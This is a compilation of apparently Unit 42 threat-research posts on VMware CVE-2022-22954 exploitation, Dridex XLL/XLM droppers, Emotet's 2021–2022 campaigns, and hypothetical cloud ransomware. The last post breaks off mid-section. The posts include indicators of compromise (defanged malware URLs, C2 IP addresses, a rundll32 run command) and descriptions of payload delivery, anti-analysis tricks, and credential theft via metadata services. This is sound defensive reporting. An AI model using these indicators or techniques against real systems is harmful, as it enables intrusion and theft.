On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation. On April 13, they updated their advisory with information that CVE-2022-22954 is being exploited in the wild.
Multiplewriteups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18. The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 – published on the same day and affecting the same products – as being highly likely to be exploited.
Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild. In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.
2022-04-11: Proofs of concept available on GitHub. This is also the earliest date at which Unit 42 observed exploitation attempts and scanning activity.
2022-04-13:
VMware advisory updated with knowledge of active exploitation of CVE-2022-22954 in the wild.
2022-05-18:
Publication of VMware advisory VMSA-2022-0014 regarding CVE-2022-22972, CVE-2022-22973. Publication of CISA Alert.
As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known. This post will be updated with new findings as they are discovered.
CVE-2022-22954 in the Wild
CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.
The list below details the exploits Unit 42 observed targeting this vulnerability that we deemed worth highlighting.
Direct Downloads
The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:
Mirai/Gafgyt dropper scripts or variants
Webshells
Perl Shellbot
Coinminers
Scanning/Callbacks
Mirai/Gafgyt Dropper Scripts or Variants
We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware. In most cases, the exploit was only used to drop the payload, however the payloads themself did not contain CVE-2022-22954 exploits for further propagation. Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.
The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code. The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.
Webshells
We observed the vulnerability exploited to download webshells, including:
A basic implementation that read a GET parameter value, Base64 decoded it, and used a ClassLoader to load the result.
The Godzilla Webshell that has also been used in previous campaigns exploiting other vulnerabilities.
Perl Shellbot
Certain injected commands result in the download of obfuscated Perl scripts. Deobfuscating these scripts reveals they are versions of the known bot family “Stealth Shellbot” that reaches out to an IRC server to listen for commands to perform. It has the ability to further make HTTP requests based on commands received. This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.
Figure 1. An example of Base64 injection observed in the wild.Figure 2. An example of Base64 injection observed in the wild.Figure 3. An example of Base64 injection observed in the wild.
This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.
SSH Key Targeting
We also observed some instances of injected payloads that were either trying to read authorized keys on vulnerable machines or were writing into the authorized_keys file to add to the machine’s list of accepted keys. Following is an example of such an attempt.
Figure 4. An example of an injected payload trying to affect authorized keys.
CVE-2022-22960 in the Wild
CVE-2022-22960 is a privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager and vRealize Automation instances, due to improper permissions in support scripts. The vulnerability can be leveraged to run commands as a root user on a vulnerable instance.
More specifically, this flaw exists since the default user for these VMware products, horizon, has access to several sudo commands, some of which involve paths that can be overwritten as well.
Attackers can, therefore, leverage CVE-2022-22954 to remotely execute commands to overwrite specific paths. If successful, CVE-2022-22960 can then be leveraged to execute these overwritten paths with root permissions using the sudo command.
Our research so far has shown one publicly known sample demonstrating exploitation of CVE-2022-22960 by overwriting the /usr/local/horizon/scripts/publishCaCert.hzn file.
The content of this exploit file can be observed below.
Figure 5. An example of an attempt to exploit CVE-2022-22960 observed in the wild.
Another proof of concept code sample is additionally available targeting the following 2 filepaths: /opt/vmware/certproxy/bin/certproxyService.sh /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn
Conclusion
Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code. Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:
Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.
Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.
WildFire and Cortex XDR categorize all samples of supported file types as malware.
Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
In Part 1 of this two-part blog series, we discussed briefly how XLL files are exploited to deploy Agent Tesla. During December 2021, we continued to observe Dridex and Agent Tesla exploiting XLL in different ways for initial payload delivery. A more in-depth look at the Dridex infection chain follows.
Threat actors behind Dridex have been using various delivery mechanisms over the years. In early 2017, we observed plain VBScript and JavaScript were being used. In later years, we observed many variations, including Microsoft Office files (DOC, XLS) compressed in zip. In 2020, we found the malware using Discord and other legitimate services to download the final payload. More recently, during December 2021, we received various Dridex samples, which were exploiting XLL and XLM 4.0 in combination with Discord and OneDrive to download the final payload.
In our previous blog focused on XLL files and Agent Tesla, we saw the abuse of the legitimate Excel-DNA framework. In this blog post, we will look into other infection chains. We will discuss different stages of the XLL and Excel 4 (XLM) droppers that deliver Dridex samples. We will also briefly look at the Dridex Loader.
Palo Alto Networks customers receive protections against the attacks discussed here through Cortex XDR or the WildFire cloud-delivered security subscription for the Next-Generation Firewall.
While XLM 4.0 is not new, there has been a lot of evolution in how malware has abused it since early 2020 Threat actors have gone from using simple, non-obfuscated macro formulas to creating complex hidden variants which finally utilize native services such as rundll32 to run a payload.
As the malicious usage of XLM 4.0 macros is quite new, vendors are striving hard to provide coverage in such cases.
The XLM document in this case comprises two spreadsheets – one contains formulae and the other simply contains some random data. See Figures 1-2 below.
Figure 1. The red “1” in the right side of the screenshot shows the macro 4.0 responsible for dumping an HTML application file (HTA). The red “2” at the top shows the output of highlighted formulae.Figure 2. The red box indicated by the number 1 shows an HTA script stored in ASCII values.
It can be seen that one of the formulae in the spreadsheet shown in Figure 1 tries to run with Mshta, so we can assume it is not really an RTF. Upon further analysis, we found that indeed it is an HTA. XLM 4.0 code in Sheet1 is responsible for reading ASCII values from Sheet2 (Figure 2) and generating the HTA file that downloads Dridex from Discord.
Figure 3. VBScript to download Dridex from Discord.Figure 4. Encoded Discord URL in HTA file.
It is difficult to say anything about the XLS itself until it finally downloads a malicious payload. Furthermore, the HTA is being dropped as RTF. This might confuse some security products because they could analyze the HTA as an RTF file and might lose detection. Additionally, the usage of Discord URLs makes the samples more evasive. (Though the examples given here involve Discord URLs, we have also observed similar usage of OneDrive URLs. See the GitHub link in the Indicators of Compromise section for specific examples of OneDrive URLs.)
XLL Dropper
In comparison to the malicious XLL files that we discussed in Part 1 of this blog series, this dropper is rather simple. An XLL file is just a DLL, but it must be executed using Excel. The proper detonation is important for detection.
Figure 5. Discord URLs found in XLL.Figure 6. XLL running Dridex Loader.
Active Directory Check
We think that both the XLL and VBScript downloaders are associated with the same actor because, as we can see, both perform a check to see whether the LOGONSERVER and USERDOMAIN environment variables are set. This would mean a system is on Active Directory.
Figure 7. HTA dropper checking for the environment variables LOGONSERVER and USERDOMAIN.Figure 8. XLL dropper checking for the environment variables LOGONSERVER and USERDOMAIN.
Discord URLs
We extracted around 1,400 URLs (see Indicators of Compromise section at the end of this post) from XLM and XLL files, however, at the time of analysis, only a few of them were still up and were found downloading only Dridex. An interesting thing to note is that DLL files are being downloaded as MKV. We saw that at the start of the infection chain that HTA was being dropped as RTF.
Brief Loader Analysis
As can be seen in Figure 6, the downloaded payload is being run with the command
rundll32.exe * DirSyncScheduleDialog. However, as we opened the file for further analysis, the method DirSyncScheduleDialog is not found in the export directory. It is interesting to note that that function name belongs to a legitimate Windows DLL.
Figure 9. The missing method(left) is shown, compared to the legitimate Windows loghours.dll with exported function DirSyncScheduleDialog (right).
Unpacking Stages
Decrypt and Load second-stage DLL from rdata section.
Second DLL further unpacks the final Dridex Loader.
Jumps to DirSyncScheduleDialog.
First Stage
The first stage is fairly simple in terms of functionality; its only job is to decrypt a small DLL from the rdata section and move it to allocated memory and run it.
However, there are a few anti-analysis tricks.
Usage of junk code.
A Large Loop with INT3 instructions.
Usage of undocumented functions such as ldrgetprocedureaddress and LdrLoadDll to avoid common hooks.
While junk code might hinder manual analysis, large loops containing INT3 breakpoints might delay the execution in some cases.
The first stage has a handful of functions. We renamed them to reflect trivial loader behavior.
Figure 10. Renamed functions (left); jump to allocated memory (center); anti-VM function, CC bytes replaced with NOP (right).
Second Stage
Once the first stage passes control to the in-memory DLL (Figure 8), it further unpacks the final payload and transfers control to it. The second stage is also trivial. However, the stage does include a few interesting anti-analysis tricks to note.
Calls Disablethreadlibrarycalls to increase invisibility of final DLL.
Checks LdrLoadDll for hooks.
Figure 11. Renamed functions (left), check for LdrLoadDll hook (center), disableThreadLibraryCalls in imports (right).
Final Dridex Loader
Finally, we are able to see a call to DirSyncScheduleDialog. It is interesting to note that Dridex Loader is not performing DLL side loading. However, the final payload is loaded as loghours.dll, a legitimate windows DLL.
Figure 12. A side-by-side comparison of the Export table from the Dridex Loader (left) and the legitimate loghours.dll (right).Figure 13. Dridex Loader EP; anti-VM loop can be noticed in start.
Micro VM
Dridex implements a micro VM, which adds an exception handler using AddVectoredExceptionHandler to emulate the call eax instruction.
Figure 14. Call to get_proc_address_by_hash function and CC CC bytes (call eax).Figure 15. Exception handler emulating call eax.
As can be seen in Figure 15, in the case of EXCEPTION_BREAKPOINT, the call eax instruction is being emulated. For the sandbox, this should not be a problem; however, it can hinder manual analysis. As can be seen, the exception handler only emulates one instruction. Patching these two INT3 instructions with call eax should not be a big deal. A simple IDA script to patch all CC CC instructions with FF D0 should do the trick.
Figure 16. Patched INT3 instruction with “call eax”.
API Hashing
API Hashing is trivial, however, we observed a few obfuscations and variations in this Dridex Loader.
Multiple hashing functions.
Masqueraded Prolog for hashing function.
We observed that, in order to hinder analysis further, this Dridex Loader is using multiple hashing functions. We observed at least two hashing functions and one masqueraded Prolog function, as can be seen below.
Figure 17. API hashing function sub_744102D4Figure 18. Masqueraded Prolog function.
It can be seen that the Prolog of the get_proc_address_1 function is not normal. The registers eax and edx are being used to pass module hash and API hash to the get_proc_address_1_mas function. It is possible to call get_proc_address_1 to set eax and edx. Alternatively, they can be set before calling get_proc_address_1_mas. If a researcher is writing an automation for resolving APIs – such as using AppCall – it is important to watch out for this trick.
We used the IDA AppCall feature to extract all APIs used in the loader. Based on extracted APIs, this Dridex Loader is not different from the Dridex Loader that was observed in early 2021.
Key functions of the Dridex Loader:
Check process privileges.
AdjustToken privileges.
GetSystemInfo
Uses the “Atomic Bombing” injection technique to load core payload downloaded from command and control server.
The Dridex Loader has been extensively analyzed. Here, we focused mainly on small tricks used across the infection chain to avoid detection and slow down analysis.
Conclusion
We observed a continued evolution of the infection chain. We saw how malware authors can evade detection engines using legitimate services such as Discord and OneDrive. We analyzed how malware authors continue to add more stages in the infection chain.
Lastly, we briefly looked into the Dridex payload. Although the final payload was similar to the previous Dridex version in terms of behaviour, we noticed an additional unpacking stage and a couple of new changes in the API hashing function. These simple yet powerful tricks that can be challenging for malware analysts, helping the malware avoid detection and slow down analysis.
Palo Alto Networks customers receive protections against the attacks discussed here through Cortex XDR or the WildFire cloud-delivered security subscription for the Next-Generation Firewall.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
Indicators of Compromise
Indicators of compromise related to the malware discussed here can be found on GitHub.
Emotet is one of the most prolific email-distributed malware families in our current threat landscape. Although a coordinated law enforcement effort shut down this malware in January 2021, Emotet resumed operations in November 2021. Since then, Emotet has returned to its status as a prominent threat.
This blog provides a background on Emotet, and it reviews activity from this malware family since its return in November 2021. The information covers changes in Emotet operations from its revival through the end of January 2022. These examples will provide a more comprehensive picture and better indicate the worldwide threat Emotet currently poses.
Sometimes referred to as Geodo or Feodo, Emotet is Windows-based malware that first appeared in 2014 as a banking Trojan. Since then, Emotet has evolved into modular malware that performs various functions, including information stealing, spambot activity and loading other malware.
The threat actor behind Emotet is known through different designators, like Mealybug, MUMMY SPIDER or TA542.
Emotet’s primary method of distribution is through email.
Emotet is a prolific spammer. Emotet-infected computers often act as spambots, sending a dozen or more emails every minute that push more Emotet. This means thousands of Emotet emails can be sent by a single host every day. If hundreds of Emotet-infected hosts are active at any given time, this means hundreds of thousands of Emotet emails can be generated each day Emotet is actively spamming.
Emotet is evasive. Through a technique called hashbusting, Emotet generates different file hashes for malware distributed through its botnets. This ensures a malware sample’s SHA256 hash is different on each infected system. Emotet also uses obfuscated code in scripts used during its initial infection process.
Emotet is nimble. Its botnets frequently update IP addresses and TCP ports used for command and control (C2) communications. Emotet also frequently changes URLs hosting its malware, sometimes using dozens of different URLs each day.
Emails distributing Emotet contain malicious attachments, or they contain links to malicious files. These messages most often contain Microsoft Office files like Word documents or Excel spreadsheets. These Office documents contain malicious macro code. The code is designed to infect a vulnerable Windows host after a victim enables macros.
As it rose to prominence, Emotet began distributing other malware like Gootkit, IcedID, Qakbot and Trickbot.
By September 2019, Emotet's infrastructure was running on three separate botnets. These botnets were designated by the security research team Cryptolaemus as epoch 1, epoch 2 and epoch 3. The epoch designators are often abbreviated as E1, E2 and E3.
By 2020, a significant portion of malicious spam pushing Emotet used thread hijacking. Thread hijacking is a technique that utilizes legitimate messages stolen from infected computers' email clients. Emotet emails have frequently spoofed legitimate users and impersonated replies to these stolen emails.
Emotet occasionally takes a break from delivering malicious emails. Emotet's longest absence from the threat landscape occurred in early February 2020 and lasted more than five months. Emotet resumed operations in mid-July 2020, and it quickly surpassed other threats in sheer volume of malicious spam.
In January 2021, a collaborative effort by law enforcement agencies and other authorities disrupted Emotet operations. This effectively stopped the threat actor, and Emotet disappeared from our threat landscape.
Approximately 10 months later, Emotet resumed operations in mid-November 2021.
Visual Timeline
Figure 1 presents a timeline of Emotet operations from its return in mid-November 2021 through January 2022. The timeline highlights notable Emotet activity during the three month period covered in this blog.
Figure 1. Timeline of Emotet operations from November 2021 through January 2022.
The new Emotet infrastructure is running on two separate botnets designated as epoch 4 and epoch 5. These designators are often abbreviated as E4 and E5.
On Nov. 15, malicious spam for Emotet had one of three types of attachments: a password-protected ZIP archive, a Word document or an Excel spreadsheet. This follows the same method we had typically seen with previous Emotet infections. Examples and more details can be found in my post, “Emotet Returns.” See Figure 2 for a flow chart documenting the chain of events.
Figure 2. Chain of events for Emotet infections seen on Monday, Nov. 15, 2021.
Appendix A lists indicators of compromise from an infection on Wednesday, Nov. 18.
By Monday, Nov. 23, a batch file was added to the infection process as shown below in Figure 3.
Figure 3. Chain of events for Emotet infections seen on Monday, Nov. 23, 2021.
Emotet targets include various areas around the world. But even if victims are non-English speakers, templates for the Office documents are still in English as shown below in Figures 4 and 5 from an email targeting Italy.
Figure 4. Screenshot of Emotet email targeting Italy on Nov. 23, 2021.Figure 5. Attachment from Italian email contained Excel spreadsheet for Emotet with an English template.
At this time, enabling macros did not directly download and run the Emotet DLL. Instead, the macro code dropped a batch file shown in Figure 6 and ran it with the following command:
Figure 6. Batch file dropped after enabling macros for an Emotet infection on Nov. 23, 2021.
As an evasion technique, obfuscated script in the batch file generates a PowerShell command to retrieve an Emotet DLL and run it on the victim’s host. The PowerShell command uses a base64-encoded string as shown below in Figure 7.
Figure 7. PowerShell command using base64 encoded string.
Converting the base64 string to ASCII text reveals the script shown below in Figure 8. This script is designed to retrieve an Emotet DLL from one of seven URLs and save it to the C:\ProgramData\ directory. The Emotet DLL is run with rundll32.exe using a random string of characters as the entry point.
Figure 8. Deobfuscated script from the base64 string in Figure 4.
The new Emotet DLL is similar to Emotet DLLs before the January 2021 takedown. Emotet is made persistent under a randomly named folder under the infected user’s AppData\Local\Temp directory. The modified date of the persistent DLL is backdated exactly one week prior to the infection. Emotet is made persistent through a Windows Registry update. Figure 9 shows an example from Nov. 23.
Figure 9. Registry update to keep Emotet persistent after a reboot.
Since Emotet reappeared in November 2021, post-infection C2 activity consists of encrypted HTTPS traffic. Certificate issuer data for Emotet C2 HTTPS traffic uses generic values often seen with other malware families. Figure 10 shows an example of Emotet C2 activity filtered in Wireshark to reveal the certificate issuer data.
Figure 10. Reviewing certificate issuer data of Emotet HTTPS C2 traffic in Wireshark.
As shown above in Figure 10, certificate issuer data for Emotet C2 HTTPS traffic is:
id-at-countryName=GB id-at-statOrProvinceName=London id-at-localityName=London id-at-organizationName=Global Security id-at-organizationalUnitName=IT Department id-at-commonName=example.com
Of note, other malware families have used similar certificate issuer data, so this is not necessarily unique to Emotet.
Now disabled by Microsoft, App Installer is a protocol for Windows 10 used to install software directly from a web server, and it used XML-based app installer files with the extension .appinstaller. This protocol had been previously abused for BazarLoader malware attacks in November 2021. Figure 11 shows the flow chart for this type of Emotet infection.
The attack technique starts with complaint report-themed emails with links to malicious pages. These malicious pages are hosted on compromised websites, and they spoof Google Drive by using the same style of Google Drive pages, including a Google Drive icon that appears in the browser tab. The pages have links to supposedly preview a PDF-based complaint report. The link actually leads to a malicious .appinstaller file designed to infect a vulnerable Windows 10 host with Emotet.
Below, Figure 12 shows a thread-hijacked email from Nov. 30 with the malicious link, and Figure 13 shows the associated complaint page with a link to the malicious .appinstaller file.
Figure 12. Thread-hijacked email from Nov. 30 with link to page for malicious app installer.Figure 13. Fake complaint report page with link to .appinstaller file for Emotet.
As shown above in Figure 13, the .appinstaller file pretends to be an Adobe PDF component. In this case, criminals were abusing Microsoft Azure to host the malicious files. Below, Figure 14 shows a malicious .appinstaller file opened in a text editor.
Figure 14. Malicious .appinstaller file used for Emotet on Nov. 30.
The malicious .appinstaller file shown above in Figure 14 retrieves a malicious ZIP archive appended with an .appxbundle file extension from the same server. Below, Figure 15 shows contents of the malicious .appxbundle.
Figure 15. Malicious .appxbundle used for Emotet infection on Nov. 30.
The malicious .appxbundle impersonating an Adobe program contains various files including ZIP archives with an .appx file extension. Together, the entire .appxbundle is designed to retrieve an Emotet DLL and run it on a vulnerable Windows host.
Indicators and further details from the Nov. 30 activity can be found at Malware Traffic Analysis. Due to the nature of these app installer files, this infection method was initially difficult to detect. Fortunately, Microsoft quickly shut down Azure file servers hosting the app installer files. Microsoft has also disabled the app installer protocol, so this no longer remains an avenue of attack for Emotet or other malware.
Appendix B lists indicators of compromise from an Emotet infection abusing Microsoft’s App Installer on Nov. 30.
Emotet in December 2021
Throughout November 2021, examples of Emotet infections revealed data exfiltration and spambot activity. No indicators of followup malware were publicly reported until December 2021. By Dec. 7, the Cryptolaemus research team confirmed Cobalt Strike had been deployed to Emotet-infected Windows hosts.
December 2021 saw at least one more wave of emails from Emotet attempting to abuse Microsoft’s App Installer protocol. However, Emotet quickly moved on to other infection patterns and used different templates for Office documents, mostly Excel spreadsheets.
In the week leading to Christmas day, Emotet emails contained links to web pages on various compromised websites. These pages also pretended to be from Google Drive, and they had links to download malicious Excel files. In this case, Emotet started using a new infection pattern as shown in Figure 16.
Figure 16. Emotet infection pattern seen from Dec. 21-Dec. 24.
Above, Figure 16 reveals a process Emotet occasionally used through at least February 2022. We previously reported details on one such variation from January. Appendix C lists indicators of compromise from an Emotet infection using this method on Dec. 21.
Below, Figure 17 shows an email from Dec. 23 pushing Emotet, Figure 18 displays the website from the email link, and Figure 19 reveals the downloaded Excel spreadsheet.
Figure 17. Example of email from Dec. 23 pushing Emotet.Figure 18. Web page delivering malicious Excel spreadsheet leading to Emotet on Dec. 23.Figure 19. Malicious Excel spreadsheet downloaded from page shown in Figure 17.
On Thursday, Dec. 24, we saw similar emails with Christmas-themed subject lines and holiday wishes in the message text. This wave of emails delivered the same style of Excel spreadsheet shown above in Figure 19.
Below, Figure 20 shows one of these Christmas-themed emails, and Figure 21 displays the associated web page that delivered an Excel spreadsheet.
Figure 20. Example of Christmas-themed email from Dec. 24 pushing Emotet.Figure 21. Web page delivering malicious Excel spreadsheet leading to Emotet on Dec. 24.
After Dec. 24, Emotet stopped spamming until after the new year.
Emotet in January 2022
On Tuesday, Jan. 11, 2022, Emotet resumed spamming after its holiday break. The emails continued with links to fake complaint pages, and the pages were sometimes customized to include the recipient’s name. This method was prevalent until Jan. 20.
Figures 22-24 show one such example from Jan. 20. In this example, the recipient’s name has been sanitized to read as “Solomon Grundy” with an AOL email address, and the spoofed sender has been sanitized to read as alan.scott@thegreenlantern[.]net.
Figure 22. Emotet email from Jan. 20.Figure 23. Fake complaint report page with recipient’s name sending Excel spreadsheet for Emotet.Figure 24. Excel spreadsheet for Emotet downloaded from fake complaint report web page.
Appendix D lists indicators of compromise from an Emotet infection using this method on Jan. 11.
By Friday, Jan. 21, Emotet emails went back to using attached Excel spreadsheets or password-protected ZIP archives containing Excel spreadsheets. Throughout the rest of the month, Excel spreadsheets for Emotet alternated between the template shown above in Figure 24 and the template shown below in Figure 25.
Figure 25. Excel spreadsheet template seen during the last full week of January 2022.
In January, we continued to see reports of Emotet pushing Cobalt Strike. During our lab tests, we routinely saw Emotet-infected hosts generate spambot activity starting from 35-45 minutes after the initial infection.
Conclusion
Since its return in November 2021, Emotet has once again become one of the most prolific malware families in our current threat landscape. Hundreds of thousands of emails can be generated each day Emotet is actively spamming. Hashbusting, code obfuscation and other evasion techniques make Emotet a significant threat.
Windows users can lower their risk from Emotet through spam filtering, proper system administration and ensuring their software is patched and up to date. Palo Alto Networks customers are further protected from Emotet through Cortex XDR and our Next-Generation Firewall with WildFire and Threat Prevention subscriptions.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Indicators of Compromise
Due to hashbusting, daily changes in malware URLs and frequent changes for infection patterns, we can see hundreds of new indicators for Emotet every day. These indicators are too numerous and changes are too frequent to be useful in any single list. However, abuse.ch is a research project that provides free trackers for Emotet botnet command and control servers, URLs hosting Emotet malware and Emotet malware samples.
Appendices A, B, C and D provide a small selection of indicators referenced in this blog post.
Appendix A: Emotet epoch 4 activity on Nov. 18, 2021
SHA256 hashes for seven examples of password-protected ZIP archives:
SHA256 hash: 555dff455242a5f82f79eecb66539bfd1daa842481168f1f1df911ac05a1cfba File size: 485,376 bytes File location:hxxp://jamaateislami[.]com/wp-admin/FKyNiHeRz1/ File location:C:\ProgramData\1245045870.dll File location:C:\Users\[username]\AppData\Local\Tzbklmcf\ljkklzcncxkf.pgk Run method from Windows Registry update: rundll32.exe [filename],truHNmRuL Note 1: This was generated using 1811.doc Note 2: The entry point used with rundll32.exe can be any alpha-numeric value
HTTPS Emotet C2 traffic from an infected Windows host:
51.178.61[.]60port 443 103.161.172[.]108 port 443 122.129.203[.]163 port 443
Traditional ransomware mainly targets on-premises IT infrastructure but doesn't work well in cloud environments, which is one reason we haven't heard much about ransomware in public clouds. However, ransomware actors could adapt their tactics, techniques and procedures (TTPs) to be more cloud native, and now is a good time for organizations to get ahead of this possibility.
Ransomware incidents have severely disrupted business operations across all industries. In 2021, the average ransom demand was $2.2 million, and the average payment was $541,010. Since 2020, researchers have detected at least 130 different ransomware families. There is still no sign of a decrease in the frequency and severity of ransomware attacks.
While there are many known ransomware families, there is no known ransomware actor targeting cloud environments. With the increasing demands of the remote workforce, many organizations are migrating on-premises data centers to the public clouds. Cloud-native infrastructure is also the de facto way that startups can quickly build their business.
Here, we explore how ransomware threat actors might operate in cloud environments – what approaches they might use to attack and impact resources in public clouds. We ask questions including:
Are cloud-hosted resources more resilient to ransomware attacks?
What types of cloud resources are more vulnerable to ransomware?
How might adversaries attack cloud resources?
Our goal is to help organizations prepare for this threat while it is still largely theoretical. The discussed scenarios are intended to be broad and not specific to any cloud service provider.
Knowing that threat actors such as Rocke and TeamTNT target unsecured cloud environments, it is sensible that ransomware actors will also turn to the cloud sooner or later. Due to the fundamental difference between cloud-native and on-premises IT infrastructure, existing ransomware will not be effective in attacking cloud environments. Ransomware actors will need new TTPs in order to target cloud workloads.
However, we have seen threat actors evolve in this way to target cloud workloads before. In our latest Cloud Threat Report, “IAM The First Line of Defense,” we designated cloud threat actors as a new type of threat, defining a cloud threat actor as “an individual or group posing a threat to organizations through directed and sustained access to cloud platform resources, services or embedded metadata.”
Ransomware actors may also find ways to adapt to the cloud – especially if they begin to see the rewards as worth the effort. Unit 42 researchers identified the possible infection vectors, vertical/lateral movements, targeted resources and impact of such attacks. We incorporated our knowledge of existing ransomware groups and known security incidents in public clouds to derive possible TTPs of cloud-targeted ransomware attacks.
Overall, we believe that cloud environments are more resilient to ransomware. The shared responsibility model significantly reduces users' burden in securing the infrastructure, platform and software in the cloud. API-driven cloud services make monitoring, automation and centralized access control easier. Cloud-native backup services provide reliable ways to back up cloud resources. Nevertheless, it is the user's responsibility to securely configure, operate and monitor cloud workloads. As IT infrastructure grows with the business, securing thousands of dynamic workloads in a multi-cloud and hybrid cloud environment can become challenging.
Palo Alto Networks customers can get ahead of potential cloud-based ransomware through Prisma Cloud’s threat detection capability, which can identify anomalies and zero-day attacks. Unit 42 offers a ransomware readiness assessment that organizations can use to enhance the ability to quickly and effectively respond to a ransomware attack. Cloud incident response services can help address and mitigate cloud security incidents if they do happen.
Phishing, exposed remote desktop protocol (RDP), compromised credentials and unpatched vulnerabilities are the most common attack vectors that ransomware actors exploit to gain initial access, as detailed in the Unit 42 Ransomware Threat Report. These techniques are simple but effective and can be carried out against any individual or organization. Some ransomware combines multiple techniques and utilizes commodity malware such as Emotet and TrickBot to breach a victim's environment. We believe attackers can also use the same techniques to gain initial access to cloud environments.
As with on-premises IT infrastructure, where hundreds of employees may work in the same network, hundreds of engineers may share and work in the same cloud infrastructure. If an attacker can compromise one engineer's laptop, that attacker can then potentially pivot from the laptop to the cloud infrastructure. This helps explain why attackers often see credentials as a prime target.
Another common attacker vector is unpatched vulnerabilities exposed to the public internet. Our previous research on exposed vulnerabilities found that 24% of exposed VM instances in public clouds have known vulnerabilities. If an attacker could find and compromise a vulnerable VM instance on the internet, the instance could serve as a gateway into the victim's cloud infrastructure.
Below are two hypothetical examples showing how an attacker could use these techniques to gain an initial foothold in a victim's cloud environment.
Example 1: Compromised Laptop via Phishing Emails
If a developer's laptop is compromised – for example, by phishing emails – cloud credentials stored on the laptop could give attackers initial access to an organization’s cloud infrastructure. Cloud Service Providers’ (CSPs) command-line tools commonly store credentials in specific directories on the host. Malware that targets cloud environments often enumerates these directories.
If the developer also uses CSPs’ web consoles, attackers may also find passwords in the password manager or active access tokens in the browsers. Any retrieved credential could be used to impersonate the developer and gain initial access to the victim's cloud infrastructure.
Example 2: Compromised Server via Unpatched Vulnerabilities
Any remote code execution (RCE) vulnerability exposed to the internet may allow attackers to gain initial access. For example, an attacker can remotely exploit an RDP server with the BlueKeep vulnerability and gain full control of the server. Since the server is in the victim's cloud environment, the attacker may find cloud credentials on the server and use the credentials to pivot into the cloud.
Another way that attackers can harvest cloud credentials is through metadata services. Metadata services listen on a special IP address that applications on a VM instance can query to obtain the instance's information such as tags, region and cloud access tokens. All CSPs support metadata services. Any exposed vulnerability that allows attackers to reach this special IP address may allow the attacker to steal cloud access tokens. Vulnerabilities like server-side request forgery (SSRF) are commonly exploited to access metadata services.
Best Practices to Limit Initial Access
These hypothetical examples both illustrate the value of using best practices to limit the potential for initial access. In particular, organizations can reduce the likelihood of cloud incidents – ransomware or otherwise – by educating employees about phishing, improving identity and access management policies and limiting what is exposed to the public internet. If possible, use the latest version of the metadata service to prevent attacks like SSRF.
Execution
After an attacker gains the initial foothold, their next step is to plan and execute the attack.
The two most probable avenues for executing an attack in cloud environments are through control plane APIs or data plane APIs.
In an on-premises IT infrastructure, administrators typically directly connect to each endpoint – such as a router, a firewall or network-attached storage – to manage each device. In contrast, users rarely directly connect to resources in a cloud environment. Instead, they authenticate with a CSP's API gateway and call a set of control plane APIs to manage cloud resources. This centralized access control is a double-edged sword. It simplifies the access control management, but a leaked credential with high privilege can also be devastating, as every cloud resource may be accessed with the same key.
Control plane APIs are used for resource management, such as creating/configuring networks, creating/deleting VM instances and reading/writing resource policies. Data plane APIs are used for accessing data inside individual resources – for example, reading/writing files on a virtual machine instance or querying data from a database table.
Using the hypothetical examples in the Initial Access section, an attacker could gain access to the control plane if cloud credentials are found on a compromised laptop or RDP server. Once the attacker is in possession of a cloud credential with sufficient privileges, the attacker can authenticate with the API gateway and access cloud resources.
The attacker may also compromise cloud resources through the data plane. On a compromised laptop, the attacker may find data plane credentials such as VMs’ SSH keys or database passwords. From a compromised RDS server exposed to the internet, the attacker may use data plane APIs to search for other vulnerable servers in the same private network or harvest credentials in the environment variables or memory.
Attackers can move from the data plane to the control plane or vice versa. For example, an attacker who compromises a virtual machine instance through the data plane APIs may find control plane credentials in the instance's metadata. On the other hand, an attacker who can access virtual machine service through control plane APIs may use features like code execution[1][2] and remote access control to gain access into a VM instance and attack other hosts from the VM instance through the data plane APIs. In the next section, we will show it is common for attackers to move between the control plane and the data plane to escalate their privileges.
Figure 1. Control plane (red) and data plane (blue) in a cloud infrastructure.
Best Practices to Limit Execution
